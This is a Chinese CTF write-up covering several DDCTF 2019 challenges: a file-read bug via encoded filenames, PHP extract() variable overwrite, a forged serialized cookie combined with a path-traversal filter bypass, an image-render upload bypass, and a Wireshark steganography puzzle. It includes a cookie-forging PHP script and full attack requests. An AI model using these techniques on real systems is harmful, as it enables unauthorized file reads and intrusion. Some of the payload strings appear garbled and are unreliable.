

2019DDCTF 部分Writeup

原创

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本文链接: https://blog.csdn.net/Opt_98/article/details/89390006

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2019DDCTF 部分Writeup

太菜了, 就只做了四道题, 而且其中不乏大佬们的提示, 这里就记录下做了的题...

Web

滴~

题目地址: <http://117.51.150.246>

打开后题目跳转到这个地址: <http://117.51.150.246/index.php?jpg=TmpZMIF6WXhOamN5UIRaQk56QTJOdz09>

界面显示如下图:



然后看传入的jpg的值是base64编码, 于是拿去解密, 随便找个在线base64解密的就行, `TmpZMIF6WXhOamN5UIRaQk56QTJOdz09` 这个解出来是 `NjY2QzYxNjcyRTZBNzA2Nw==`, 发现还是base64, 于是继续解, 解出来是 `666C61672E6A7067`, 是十六进制, 于是拿去转ascii字符串, 解出来是 `flag.jpg`, 正好与界面显示的一样, 于是就猜测要传入这样加密的值才能被它解析, F12查看元素属性也能看到还返回了base64加密后的内容, 然后写个加密脚本查看 `index.php` 的内容:

```
<?php
echo base64_encode(base64_encode(bin2hex("index.php")));
```

解出来是 `TmprM1pUWTB0a1UzT0RKbE56QTJPRGN3` 然后在传给jpg, 这里我们用burpsuite来抓包查看:

Request

Raw Params Headers Hex

```
GET /index.php?jpg=TmprM1pUWTB0a1UzTORKbE56QTJPRGH3 HTTP/1.1
Host: 117.51.150.246
Pragma: no-cache
Cache-Control: no-cache
```

Response

Raw Headers Hex HTML Render

```
HTTP/1.1 200 OK
Date: Tue, 16 Apr 2019 11:37:43 GMT
Server: Apache/2.4.7 (Unix) PHP/5.4.26
X-Powered-By: PHP/5.4.26
Content-Length: 1051
Content-Type: text/html; charset=utf-8
```

Converted text

Copy to clipboard Close

```
<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))

header('Refresh:0;url=./index.php?jpg=TmprM1F6WXhOamN5U1RaQk56QTJODz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^\^a-zA-Z0-9.]+/", "", $file);
echo $file.<br>';
$file = str_replace("config","!", $file);
echo $file.<br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64, ".$txt."></img>";
/*
 * Can you find the flag file?
 */
?>
```

然后就得到了 `index.php` 的源码:

```
<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmprM1F6WXhOamN5U1RaQk56QTJODz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^\^a-zA-Z0-9.]+/", "", $file);
echo $file.<br>';
$file = str_replace("config","!", $file);
echo $file.<br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64, ".$txt."></img>";
/*
 * Can you find the flag file?
 */
?>
```

发现给了个博客，于是点进去看了看也没发现有什么思路...后来有大佬提示了说看这个大佬的7月4日的博客，于是就知道了 `.swp` 这个临时备份文件，而在这篇博客中提到的是 `practice.txt.swp` 这个文件，于是用上面的加密方法把它加密后传给 `jpg`:

Request

```

GET
/index.php?jpg=TnpBM01qWKh0ak0zTkRZNU5qTTJ0VEpsTnpRM09EYzBNbVUzT
XpjM056QXlNQTO9 HTTP/1.1
Host: 117.51.150.246
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp
,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

```

Response

```

HTTP/1.1 200 OK
Date: Tue, 16 Apr 2019 11:55:14 GMT
Server: Apache/2.4.7 (Unix) PHP/5.4.26
X-Powered-By: PHP/5.4.26
Content-Length: 181
Connection: close
Content-Type: text/html;charset=utf-8

```

Converted text

```

flag!ddctf.php

```

然后这里就返回了一个 `flag!ddctf.php` 文件，于是拿它加密后传给jpg，发现并没回显什么东西，然后回过头去看 `index.php` 的源码发现下面这段要进行过滤：

```

$file = preg_replace("/^[^a-zA-Z0-9.]+/", "", $file);
echo $file.'

```

第一段正则表示匹配一个或多个除了 `a-zA-Z0-9.` 之外所有的字符，就这样 `flag!ddctf.php` 中的 `!` 就被替换成空了，然后第二次替换则是将 `config` 替换成 `!`，于是写成 `flagconfigddctf.php` 这样就可以绕过，然后将它加密后上传：

Request

```

GET
/index.php?jpg=TnpZek1UWXh0amMyTXpabU5tVTJ0alk1TnpjMk5EWTB0ak0zT
kRZMk1tVTNHRfk0TnpBeU1BPT0= HTTP/1.1
Host: 117.51.150.246
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp
,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

```

Response

```

HTTP/1.1 200 OK
Date: Tue, 16 Apr 2019 12:11:39 GMT
Server: Apache/2.4.7 (Unix) PHP/5.4.26
X-Powered-By: PHP/5.4.26
Content-Length: 458
Connection: close
Content-Type: text/html;charset=utf-8

```

Converted text

```

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}
?>

```

解密后发现又得到一段php代码：

```

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo 'hello';
    }
}
?>

```

这就是一道php中 `extract()` 变量覆盖函数的绕过的题了，这个题感觉在bugku还是其他什么地方做过，两个参数都置空就能绕过了,这样就拿到flag了：

The screenshot shows a web proxy tool interface. On the left, the 'Request' tab is active, displaying the following details:

- Method: GET
- URL: /flag!ddctf.php?uid=&k=
- Host: 117.51.150.246
- Pragma: no-cache
- Cache-Control: no-cache
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Connection: close

On the right, the 'Response' tab is active, displaying the following details:

- Status: HTTP/1.1 200 OK
- Date: Tue, 16 Apr 2019 12:34:26 GMT
- Server: Apache/2.4.7 (Unix) PHP/5.4.26
- X-Powered-By: PHP/5.4.26
- Content-Length: 37
- Connection: close
- Content-Type: text/html
- Body: **DDCTF{436f6e67726174756c6174696f6e73}**

WEB 签到题

题目地址：<http://117.51.158.44/index.php>

打开页面提示说：“抱歉，您没有登陆权限，请获取权限后访问-----”，于是用burpsuite来抓包，抓到一个post包：

The screenshot shows Burp Suite's interface for a captured request. The 'Request' tab is active, displaying the following details:

- Method: POST
- URL: /app/Auth.php
- Host: 117.51.158.44
- Content-Length: 0
- Pragma: no-cache
- Cache-Control: no-cache
- Accept: application/json, text/javascript, */*; q=0.01
- Origin: http://117.51.158.44
- didictf_username:
- X-Requested-With: XMLHttpRequest
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
- Content-Type: application/json;charset=utf-8
- Referer: http://117.51.158.44/index.php
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Cookie:
- Connection: close

发现 `didictf_username:` 这一栏是空的，填上admin试试：

Request			Response		
Raw	Headers	Hex	Raw	Headers	Hex
<pre>POST /app/Auth.php HTTP/1.1 Host: 117.51.158.44 Content-Length: 0 Pragma: no-cache Cache-Control: no-cache Accept: application/json, text/javascript, */*; q=0.01 Origin: http://117.51.158.44 didictf_username: admin X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 Content-Type: application/json;charset=utf-8 Referer: http://117.51.158.44/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: Connection: close</pre>			<pre>HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Tue, 16 Apr 2019 13:12:48 GMT Content-Type: application/json Connection: close Content-Length: 140 {"errMsg":"success","data": "\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7b91\u7406\u5458---\u8bf7\u8bbf\u95ee: app/fl2XID2i0Cdh.php"}</pre>		

返回了一个地址路径 [app/fl2XID2i0Cdh.php](http://117.51.158.44/app/fl2XID2i0Cdh.php)，访问看看，发现是两个php源码：

url:app/Application.php

```
Class Application {
    var $path = '';

    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;
    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fl2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉, 您没有登陆权限, 请获取权限后访问-----', 'error');
            exit();
        }
    }

    private function sanitizpath($path) {
        $path = trim($path);
        $path=str_replace('../', '', $path);
        $path=str_replace('..\', '', $path);
        return $path;
    }

    public function __destruct() {
        if(empty($this->path)) {
            exit();
        }else{
            $path = $this->sanitizpath($this->path);
            if(strlen($path) !== 18) {
                exit();
            }
            $this->response($data=file_get_contents($path), 'Congratulations');
        }
        exit();
    }
}
```

url:app/Session.php

```
include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey = '';
    var $cookie_expiration = 7200;
    var $cookie_name = 'ddctf_id';
    var $cookie_path = '';
    var $cookie_domain = '';
```

```

var $cookie_domain = "";
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";

public function index()
{
if(parent::auth()) {
    $this->get_key();
    if($this->session_read()) {
        $data = 'DiDI Welcome you %s';
        $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
        parent::response($data,'sucess');
    }else{
        $this->session_create();
        $data = 'DiDI Welcome you';
        parent::response($data,'sucess');
    }
}

}

private function get_key() {
    //eancrykey and fLag under the folder
    $this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
    if(empty($_COOKIE)) {
        return FALSE;
    }

    $session = $_COOKIE[$this->cookie_name];
    if(!isset($session)) {
        parent::response("session not found",'error');
        return FALSE;
    }

    $hash = substr($session,strlen($session)-32);
    $session = substr($session,0,strlen($session)-32);

    if($hash !== md5($this->eancrykey.$session)) {
        parent::response("the cookie data not match",'error');
        return FALSE;
    }

    $session = unserialize($session);

    if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
        return FALSE;
    }

    if(!empty($_POST["nickname"])) {
        $arr = array($_POST["nickname"],$this->eancrykey);
        $data = "Welcome my friend %s";
        foreach ($arr as $k => $v) {
            $data = sprintf($data,$v);
        }
        parent::response($data,"Welcome");
    }
}

```

```

    if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
        parent::response('the ip address not match','error');
        return FALSE;
    }
    if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
        parent::response('the user agent not match','error');
        return FALSE;
    }
    return TRUE;
}

private function session_create() {
    $sessionid = '';
    while(strlen($sessionid) < 32) {
        $sessionid .= mt_rand(0,mt_getrandmax());
    }

    $userdata = array(
        'session_id' => md5(uniqid($sessionid,TRUE)),
        'ip_address' => $_SERVER['REMOTE_ADDR'],
        'user_agent' => $_SERVER['HTTP_USER_AGENT'],
        'user_data' => '',
    );

    $cookiedata = serialize($userdata);
    $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
    $expire = $this->cookie_expiration + time();
    setcookie(
        $this->cookie_name,
        $cookiedata,
        $expire,
        $this->cookie_path,
        $this->cookie_domain,
        $this->cookie_secure
    );
}
}

$ddctf = new Session();
$ddctf->index();

```

代码审计，发现了一段这个代码：

```

private function get_key() {
    //eancrykey and flag under the folder
    $this->eancrykey = file_get_contents('../config/key.txt');
}

```

直接访问 `config` 目录发现需要登录，题果然不会这么简单...

然后我们访问下 `app/Session.php` :


```

private function sanitizopath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizopath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

```

这里我们看到最后的析构函数可以读取文件内容，那么这里就可以读取flag文件了，而上面提示说flag应该就在这个路径 `../config/flag.txt`，而这个路径要传到最后一步还需要经过 `sanitizopath` 函数，这里比较好绕过，这样写 `...../config/flag.txt` 就可以绕过了，于是我们需要创建一个cookie将path传进去。

接下来我们看 Session.php 的一段代码：

```

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);

```

这段代码就是生成cookie的，先将数据序列化在进行md5加密，这样最后就生成了cookie，所以我们要生成一个带路径的cookie传进去，于是写出下面的脚本：

```

<?php
include 'Application.php';

$eancrykey = 'Ezb1rbNS';

$aa = new Application();
$aa->path = '...../config/flag.txt';

//print_r(serialize($aa));

$cookiedata = serialize($aa);
$cookiedata = $cookiedata.md5($eancrykey.$cookiedata);

print_r(urlencode($cookiedata));

```

运行得到经过url加密的cookie：

```

O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D5a014d
be49334e6dbb7326046950bee2

```

最后上传进去就能得到flag了：

Request				Response		
Raw	Params	Headers	Hex	Raw	Headers	Hex
<pre>POST /app/Session.php HTTP/1.1 Host: 117.51.158.44 Content-Length: 0 Accept: application/json, text/javascript, */*; q=0.01 Origin: http://117.51.158.44 didictf_username: admin X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 Content-Type: application/json;charset=utf-8 Referer: http://117.51.158.44/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: ddctf_id=0%3A1%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22% 3Bs%3A2%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D5a014dbe49334e 6dbb7326046950bee2 Connection: close</pre>				<pre>HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 17 Apr 2019 14:46:09 GMT Content-Type: application/json Connection: close Content-Length: 220 {"errMsg":"success","data":":\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba 1\u7406\u5458---\u8bf7\u8bbf\u95ee:app/fl2XID2i0Cdh.php"}{"errMsg":"Congratulat ions","data":"DDCTF{ddctf2019_G4uqwj6E_pHV1HIDDGdV8qA2j}"}</pre>		

Upload-IMG

题目地址: <http://117.51.148.166/upload.php>
user: dd@ctf
pass: DD@ctf#000

登录进去发现是上传图片的题目, 于是随便上传一张图片试试:




[Check Error]上传的图片源代码中未包含指定字符串:phpinfo()

它的提示是:“上传的图片源代码中未包含指定字符串:phpinfo()”, 于是想着用winhex在图片中插入 `phpinfo()` 字符串, 发现它又返回:“请上传JPG/GIF/PNG格式的图片文件”, 可能意思是它检测到里面有 `phpinfo()`, 于是被认为是php格式的文件了, 这就很迷了, 那说明这样插入字符串能被识别就不能绕过, 后来还将 `phpinfo()` 换着位置插入试了下, 发现还能把网站上传崩了, 不知道是什么情况...后面有大佬提示了下图渲染, 然后去搜了搜, 发现了一篇文章:

[upload-labs之pass 16详细分析](#)

看了下, 直接拿里面的 `jpg_payload.php` 脚本来用, 先上传一张jpg图, 然后把它返回的图下载下来, 再用这个脚本处理这张图, 然后会生成 `payload_x.jpg`, 再将这张经过脚本渲染的图上传上去, 如果 [Check Error], 那么又把返回的图下载下来, 再用脚本渲染后又上传, 重复几次, 直到flag出现:



[Success]Flag=DDCTF{B3s7_7ry_php1nf0_94c89d0f4e499fad}

这道题我用web第一题的flag.jpg渲染了7次才出flag, 但这个也要看原图是什么, 有些图渲染几次也就出来了, 这图有点迷...

flag.jpg

flag.jpg



MISC

Wireshark

简单的流量分析

一般拿到流量分析题都是先看http:

No.	Time	Source	Destination	Protocol	Length	Info
125	3.326459	172.25.52.32	110.18.246.11	HTTP	156	GET /aideddesign/img_add_info HTTP/1.1
166	3.369559	110.18.246.11	172.25.52.32	HTTP	913	HTTP/1.1 200 OK (text/html)
415	9.974641	172.25.52.32	58.218.211.182	HTTP	449	OPTIONS / HTTP/1.1
417	10.029968	58.218.211.182	172.25.52.32	HTTP	455	HTTP/1.1 200 OK (text/json)
594	10.461510	172.25.52.32	58.218.211.182	HTTP	884	POST / HTTP/1.1 (PNG)
627	10.854758	58.218.211.182	172.25.52.32	HTTP	658	HTTP/1.1 200 OK (json)
672	11.952050	172.25.52.32	124.165.219.105	HTTP	891	GET /3070cc91f3825652 HTTP/1.1
682	12.103946	124.165.219.105	172.25.52.32	HTTP	1149	HTTP/1.1 200 OK (text/html)
686	12.119228	172.25.52.32	59.53.95.185	HTTP	464	GET /674874/100fbf895a071b61s.png HTTP/1.1
708	12.227373	172.25.52.32	124.165.219.105	HTTP	901	POST /?c=User&a=getmessnum HTTP/1.1
716	12.319898	124.165.219.105	172.25.52.32	HTTP	74	HTTP/1.1 200 OK (text/html)
797	14.392289	172.25.52.32	124.165.219.105	HTTP	891	GET /upload HTTP/1.1
831	14.480224	124.165.219.105	172.25.52.32	HTTP	268	HTTP/1.1 200 OK (text/html)
874	15.898477	172.25.52.32	124.165.219.105	HTTP	891	POST /?c=User&a=getmessnum HTTP/1.1
883	15.980001	124.165.219.105	172.25.52.32	HTTP	74	HTTP/1.1 200 OK (text/html)
1054	20.850856	172.25.52.32	58.218.211.182	HTTP	449	OPTIONS / HTTP/1.1
1057	20.914917	58.218.211.182	172.25.52.32	HTTP	455	HTTP/1.1 200 OK (text/json)
3185	24.196330	172.25.52.32	58.218.211.182	HTTP	1210	POST / HTTP/1.1
3337	25.592181	58.218.211.182	172.25.52.32	HTTP	656	HTTP/1.1 200 OK (json)
3402	26.632728	172.25.52.32	124.165.219.105	HTTP	891	GET /efe029a825f18c6f HTTP/1.1
3410	26.758209	124.165.219.105	172.25.52.32	HTTP	731	HTTP/1.1 200 OK (text/html)
3437	26.883031	172.25.52.32	59.53.95.185	HTTP	464	GET /674874/98ec4640f71d0912s.png HTTP/1.1
3443	26.932094	172.25.52.32	124.165.219.105	HTTP	901	POST /?c=User&a=getmessnum HTTP/1.1
3453	27.039167	124.165.219.105	172.25.52.32	HTTP	74	HTTP/1.1 200 OK (text/html)

我们能看到有PNG图片，于是找到图片开始的位置：



key:xS8niJM7

就得到了key: xS8niJM7

得到key了但没密文呀，说明该找密文来解了，于是回去继续看流量包，从第一个HTTP包开始追踪TCP流：


No.	Time	Source	Destination	Protocol	Length	Info
125	3.326459	172.25.52.32	110.18.246.11	HTTP	156	GET /aideddesign/img_add_info HTTP/1.1
166	3.369559	110.18.246.11	172.25.52.32			(text/html)
415	9.974641	172.25.52.32	58.218.211.182			.1
417	10.029968	58.218.211.182	172.25.52.32			(text/json)
594	10.461510	172.25.52.32	58.218.211.182			(PNG)
627	10.854758	58.218.211.182	172.25.52.32			(json)
672	11.952050	172.25.52.32	124.165.219.105			25652 HTTP/1.1
682	12.103946	124.165.219.105	172.25.52.32			(text/html)
686	12.119228	172.25.52.32	59.53.95.185			bf895a071b61s.png HTTP/1.1
708	12.227373	172.25.52.32	124.165.219.105			getmessnum HTTP/1.1
716	12.319898	124.165.219.105	172.25.52.32			(text/html)
797	14.392289	172.25.52.32	124.165.219.105			/1.1
831	14.480224	124.165.219.105	172.25.52.32			(text/html)
874	15.898477	172.25.52.32	124.165.219.105			(text/html)
883	15.980001	124.165.219.105	172.25.52.32			(text/html)
1054	20.850856	172.25.52.32	58.218.211.182			(text/html)
1057	20.914917	58.218.211.182	172.25.52.32			(text/html)
3185	24.196330	172.25.52.32	58.218.211.182			(text/html)
3337	25.592181	58.218.211.182	172.25.52.32	HTTP	656	HTTP/1.1 200 OK (json)

Wireshark · 追踪 TCP 流 (tcp.stream eq 1) · wireshark.pcapng

```
GET /aideddesign/img_add_info HTTP/1.1
Host: tools.jb51.net
User-Agent: curl/7.54.0
Accept: */*
```

然后看到了第一个get请求了一个网站: tools.jb51.net/aideddesign/img_add_info

打开发现是一个在线图片加密解密工具, 那么这道题可能是一道图片解答题, 于是继续往下翻, 找找还有没有图片, 翻到第五个的时候发现有张图片, 但这张图片就是刚刚提取的那张钥匙图, 于是接着翻...翻到第十三个流的时候发现了一张图片:



将它以原始数据的形式保存下来, 然后把其余的内容用记事本或者winhex删了就得到一张新的图片了:



3.png

于是拿到刚才得到的解密网站上去解密, 然后就得到了一串16进制字符串格式的flag:

二、解密带隐藏信息的图片

1. 从电脑中选择一张带有隐藏信息的图片: 3.png

2. 输入需要解开信息的密码 (如果没有密码可以不填):

解密出隐藏的信息

图片中隐藏的信息为: flag+AHs-
44444354467B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D+AH0-

拿去解密就得到最后的flag了:

44444354467B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D

编码

解码

DDCTF{NbuiBUIR5lhww2OfpEmueZd64OIRJ1D2}